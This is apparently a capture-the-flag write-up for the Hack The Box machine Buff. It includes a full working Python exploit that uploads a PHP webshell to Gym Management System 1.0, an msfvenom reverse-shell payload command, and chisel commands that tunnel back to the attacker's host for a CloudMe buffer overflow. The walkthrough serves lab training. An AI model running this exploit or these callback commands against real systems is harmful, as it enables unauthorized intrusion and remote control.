Post

Buff

Buff is a straightforward Windows box that simulates a real-world scenario where a web application is running a known vulnerable CMS. Initial access is achieved by exploiting an unauthenticated file upload vulnerability in Gym Management System 1.0, which allows a malicious PHP webshell to be uploaded and executed. From there, a more stable reverse shell is established using netcat. Privilege escalation involves identifying a locally running CloudMe Sync service vulnerable to a stack-based buffer overflow, tunneling to it via chisel, and firing a modified exploit with a custom reverse shell payload - resulting in a shell as Administrator.

Buff
MachineBuff
DifficultyEasy
OSWindow
Released on18th July, 2020
Created byegotisticalSW

Enumeration

Port Scan

During the assessment, I run a full TCP port scan against the target to identify open ports and running services.

1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.129.25.107
Host is up, received echo-reply ttl 127 (0.19s latency).
Scanned at 2026-06-12 17:17:17 EAT for 345s
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON          VERSION
8080/tcp open  http    syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: mrb3n's Bro Hut
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

This shows a single open port (8080) running Apache with PHP on a Windows host.

Web Enumeration

Visiting the web app on port 8080, this shows what looks like a gym website titled “mrb3n’s Bro Hut”.

image

Browsing to the Contact page reveals a key piece of information:

image

This shows the application is running Gym Management Software 1.0 by Projectworlds.in

A quick search confirms multiple documented vulnerabilities for this exact version, including unauthenticated RCE, SQL injection, and stored XSS.

image

Initial Access - Unauthenticated RCE (EDB-ID: 48506)

Vulnerability Overview

Gym Management System 1.0 suffers from an unauthenticated file upload vulnerability in /upload.php. The upload endpoint does not enforce any session authentication, and the file type check can be bypassed by:

  1. Using a double extension (shell.php.png) - the app extracts $conv['1'] (second element from splitting on .), which gives php as the stored extension.
  2. Setting the Content-Type to image/png to pass the MIME check.
  3. Passing the desired filename via the id GET parameter.

The result is a PHP webshell written to /upload and accessible without authentication.

On your attack box, simply run searchsploit to find the available exploit:

image

Copy it locally:

1
2
3
4
5
6
7
8
 ✘ kali@kali  ~/Desktop/Machine/HTB/Buff  searchsploit -m 48506.py
  Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48506
     Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/Machine/HTB/Buff/48506.py

Running the Exploit

The original script is Python 2. To port it to Python 3 you can:

  • Replace all print x with print(x)
  • Replace raw_input() with input()
  • Ensure the PNG magic bytes and PHP payload are proper bytes literals (b'\x89\x50...')
  • Add scheme detection and proper argument validation

image

I read through the script and corrected it to a working version linked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python3
# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Original Exploit Author: Bobby Cooke
# Original Date: 2020-05-21
# Python 3 Port: Adapted for Python 3 compatibility
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Vulnerability Description:
#   Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability
#   allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via
#   uploading a maliciously crafted PHP file that bypasses the image upload filters.
# Exploit Details:
#   1. Access the '/upload.php' page, as it does not check for an authenticated user session.
#   2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
#     - `upload.php?id=kamehameha`
#   3. Bypass the extension whitelist by adding a double extension, with the last one as an
#      acceptable extension (png).
#   4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to
#      'image/png' in the POST request, and set the 'pupload' parameter to 'upload'.
#   5. Insert malicious PHP code: <?php echo shell_exec($_GET["telepathy"]); ?>
#   6. The web app renames using the second item in the array split by '.', giving us a .php shell.
#   7. Communicate with the webshell at '/upload/kamehameha.php' using the telepathy parameter.

import requests
import sys
import re
from colorama import Fore, Back, Style, init

init(autoreset=True)
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)


def webshell(SERVER_URL, session):
    try:
        WEB_SHELL = SERVER_URL + 'upload/kamehameha.php'
        getdir = {'telepathy': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print(Style.BRIGHT + Fore.RED + "[!] " + Fore.RESET + "Could not connect to the webshell.")
            r2.raise_for_status()
        print(Fore.GREEN + '[+] ' + Fore.RESET + 'Successfully connected to webshell.')
        cwd = re.findall(r'[CDEF].*', r2.text)
        cwd = cwd[0] + "> "
        term = Style.BRIGHT + Fore.GREEN + cwd + Fore.RESET
        while True:
            thought = input(term)
            command = {'telepathy': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            print(r2.text)
    except KeyboardInterrupt:
        print("\r\nExiting.")
        sys.exit(0)
    except Exception as e:
        print(f"\r\nError: {e}\nExiting.")
        sys.exit(-1)


def formatHelp(STRING):
    return Style.BRIGHT + Fore.RED + STRING + Fore.RESET


def header():
    BL  = Style.BRIGHT + Fore.GREEN
    RS  = Style.RESET_ALL
    FR  = Fore.RESET
    SIG  = BL + '            /\\\n' + RS
    SIG += Fore.YELLOW + '/vvvvvvvvvvvv ' + BL + '\\' + FR + '--------------------------------------,\n'
    SIG += Fore.YELLOW + '`^^^^^^^^^^^^' + BL + ' /' + FR + '============' + Fore.RED + 'BOKU' + FR + '====================="\n'
    SIG += BL + '            \\/' + RS + '\n'
    return SIG


if __name__ == "__main__":
    print(header())
    if len(sys.argv) != 2 or sys.argv[1] in ('-h', '--help'):
        print(formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
        print(formatHelp("(+) Example:\t python %s 'http://10.0.0.3:8080/gym/'" % sys.argv[0]))
        print(formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0]))
        sys.exit(0)

    SERVER_URL = sys.argv[1]

    # Auto-prepend http:// if no scheme is provided
    if not SERVER_URL.startswith(('http://', 'https://')):
        SERVER_URL = 'http://' + SERVER_URL
        print(Fore.YELLOW + '[*] ' + Fore.RESET + f'No scheme detected, defaulting to http: {SERVER_URL}')

    # Ensure trailing slash
    if not SERVER_URL.endswith('/'):
        SERVER_URL += '/'

    UPLOAD_DIR = 'upload.php?id=kamehameha'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR

    s = requests.Session()
    s.get(SERVER_URL, verify=False)

    PNG_magicBytes = b'\x89\x50\x4e\x47\x0d\x0a\x1a\x0a'
    php_payload = b'<?php echo shell_exec($_GET["telepathy"]); ?>'

    png = {
        'file': (
            'kaio-ken.php.png',
            PNG_magicBytes + b'\n' + php_payload,
            'image/png',
            {'Content-Disposition': 'form-data'}
        )
    }
    fdata = {'pupload': 'upload'}

    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
    webshell(SERVER_URL, s)

Run the updated exploit:

image

This shows the webshell is successfully planted and executing commands as buff\shaun. You can grab the user flag directly in his desktop directory.

image

Stable Shell via Netcat

The webshell is functional but limited. It has no interactivity and no stable I/O. To get a proper shell, serve nc64.exe from an SMB share locally on your machine and copy it to the target.

On the attacker machine, start an SMB server:

image

On the target via the webshell, pull nc64.exe over and execute a reverse shell callback:

image

On the attacker machine, catch the connection:

image

Privilege Escalation - CloudMe Buffer Overflow (EDB-ID: 48389)

Discovery

With a stable shell, running systeminfo shows the machine is running Windows 10 Enterprise Build 17134.

image

Enumerating shaun’s Downloads directory reveals a suspicious binary:

image

CloudMe_1112.exe is an installer for CloudMe Sync version 1.11.2, a cloud file synchronization application. This version is known to be vulnerable to a stack-based buffer overflow on its default listening port 8888.

image

Simply run netstat to confirm CloudMe is listening locally:

image

This confirms CloudMe is running and bound only to 127.0.0.1:8888 . We will need a tunnel to explore his service locally.

I also identified that this specific version is vulnerable to Buffer Overflow , with an available POC

image

Locating the Exploit

image

The exploit (48389.py) is a simple Python socket script that:

  1. Pads 1052 bytes to overflow the buffer
  2. Overwrites EIP with 0x68A842B5 (PUSH ESP; RET gadget)
  3. Follows with a NOP sled and a shellcode payload
  4. Sends the full buffer to 127.0.0.1:8888

The default payload launches calc.exe but we can replace this with a reverse shell.

image

Generating Custom Shellcode

Generate a Windows x86 reverse shell payload with msfvenom, excluding bad characters (\x00, \x0A, \x0D) as shown:

1
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.15.192 LPORT=4848 -b '\x00\x0A\x0D' -f python -v payload

image

Replace the existing payload block in 48389.py with the generated shellcode, keeping the padding, EIP, and NOPS unchanged.

Tunneling with Chisel

Since CloudMe only binds to 127.0.0.1, the exploit must be run from inside the target. Instead, forward the remote port to the attacker machine using Chisel.

On the attacker, start Chisel in reverse server mode:

1
chisel server -p 8000 --reverse

image

On the target, copy chisel.exe from our SMB share and connect back in client mode, forwarding port 8888:

1
2
3
copy \\10.10.15.192\buff\chisel.exe

.\chisel.exe client 10.10.15.192:8000 R:8888:localhost:8888

image

Confirm the tunnel is active on the attacker machine:

image

1
2
3
4
5
6
7
8
9
10
11
➜  netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
//
tcp        0      0 0.0.0.0:4848            0.0.0.0:*               LISTEN      411838/nc
//
tcp6       0      0 :::8000                 :::*                    LISTEN      413754/chisel
//
tcp6       0      0 :::8888                 :::*                    LISTEN      413754/chisel

Run the exploit against the forwarded local port:

1
➜  python 48389.py

This gives a shell as buff\administrator. Proceed to read the root flag:

image

MITRE ATT&CK Mapping

TacticTechniqueID
ReconnaissanceActive Scanning: Port/Service ScanningT1595.001
Initial AccessExploit Public-Facing ApplicationT1190
ExecutionCommand and Scripting Interpreter: PHPT1059
PersistenceServer Software Component: Web ShellT1505.003
Lateral Movement / TunnelingProtocol TunnelingT1572
Privilege EscalationExploitation for Privilege EscalationT1068
Credential Access / DiscoverySystem Information DiscoveryT1082
Command & ControlIngress Tool Transfer (nc, chisel)T1105
This post is licensed under CC BY 4.0 by the author.